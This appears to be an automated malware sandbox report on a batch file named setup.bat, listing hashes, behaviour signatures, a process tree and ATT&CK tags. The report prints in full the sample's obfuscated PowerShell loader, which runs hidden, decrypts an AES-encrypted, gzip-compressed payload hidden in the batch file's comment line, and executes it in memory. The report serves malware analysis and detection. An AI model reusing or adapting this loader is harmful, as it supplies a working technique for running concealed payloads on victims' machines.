11866a707b12980538131fcc50a8b061f8d118010d300118d62e0ec6cad3c879

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18-09-2024 19:41

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General

Target

setup.bat
Size

404KB
MD5

9db3f50ff13bf46f2aa952160a404c35
SHA1

cf542c18647dd49e3c61dabf00895efd52c0f857
SHA256

11866a707b12980538131fcc50a8b061f8d118010d300118d62e0ec6cad3c879
SHA512

7a36795eb22838ea680f641adb19cb67b629738907c853819c54dd7b897d22ce3093c38db7591bf7b19dde076736cc2980d873c90a2b387c85e0ccef6d1c040e
SSDEEP

6144:Otesj88+sJdbUapt7Ouogzhklx0A1XzGPpQMeB4Hn8bYnXBLyFEqB:Oosj881D5pty1goxMmMeBmnXZtqB

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1976	powershell.exe

Deletes itself 1 IoCs

pid	Process
1352	cmd.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1976	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1976	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1352 wrote to memory of 1928	1352	cmd.exe	31
PID 1352 wrote to memory of 1928	1352	cmd.exe	31
PID 1352 wrote to memory of 1928	1352	cmd.exe	31
PID 1928 wrote to memory of 1632	1928	net.exe	32
PID 1928 wrote to memory of 1632	1928	net.exe	32
PID 1928 wrote to memory of 1632	1928	net.exe	32
PID 1352 wrote to memory of 1976	1352	cmd.exe	33
PID 1352 wrote to memory of 1976	1352	cmd.exe	33
PID 1352 wrote to memory of 1976	1352	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\setup.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1352
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1928
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:1632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9DJSm0AohhIMRRCWkU8l6CaMamly9vtcPv5rDkEhIro='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hi+1JGCLBPHBkIKg8D99IQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $MnEKr=New-Object System.IO.MemoryStream(,$param_var); $fPQys=New-Object System.IO.MemoryStream; $QTwgq=New-Object System.IO.Compression.GZipStream($MnEKr, [IO.Compression.CompressionMode]::Decompress); $QTwgq.CopyTo($fPQys); $QTwgq.Dispose(); $MnEKr.Dispose(); $fPQys.Dispose(); $fPQys.ToArray();}function execute_function($param_var,$param2_var){ $bSnbv=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $dZVYy=$bSnbv.EntryPoint; $dZVYy.Invoke($null, $param2_var);}$DBNvw = 'C:\Users\Admin\AppData\Local\Temp\setup.bat';$host.UI.RawUI.WindowTitle = $DBNvw;$Iguao=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($DBNvw).Split([Environment]::NewLine);foreach ($EalWz in $Iguao) { if ($EalWz.StartsWith(':: ')) { $JcKdc=$EalWz.Substring(3); break; }}$payloads_var=[string[]]$JcKdc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1976-4-0x000007FEF656E000-0x000007FEF656F000-memory.dmp

Filesize
4KB

Download
memory/1976-5-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/1976-6-0x00000000027D0000-0x00000000027D8000-memory.dmp

Filesize
32KB

Download
memory/1976-7-0x000007FEF62B0000-0x000007FEF6C4D000-memory.dmp

Filesize
9.6MB

Download
memory/1976-8-0x000007FEF62B0000-0x000007FEF6C4D000-memory.dmp

Filesize
9.6MB

Download
memory/1976-9-0x000007FEF62B0000-0x000007FEF6C4D000-memory.dmp

Filesize
9.6MB

Download
memory/1976-10-0x000007FEF62B0000-0x000007FEF6C4D000-memory.dmp

Filesize
9.6MB

Download
memory/1976-11-0x000007FEF62B0000-0x000007FEF6C4D000-memory.dmp

Filesize
9.6MB

Download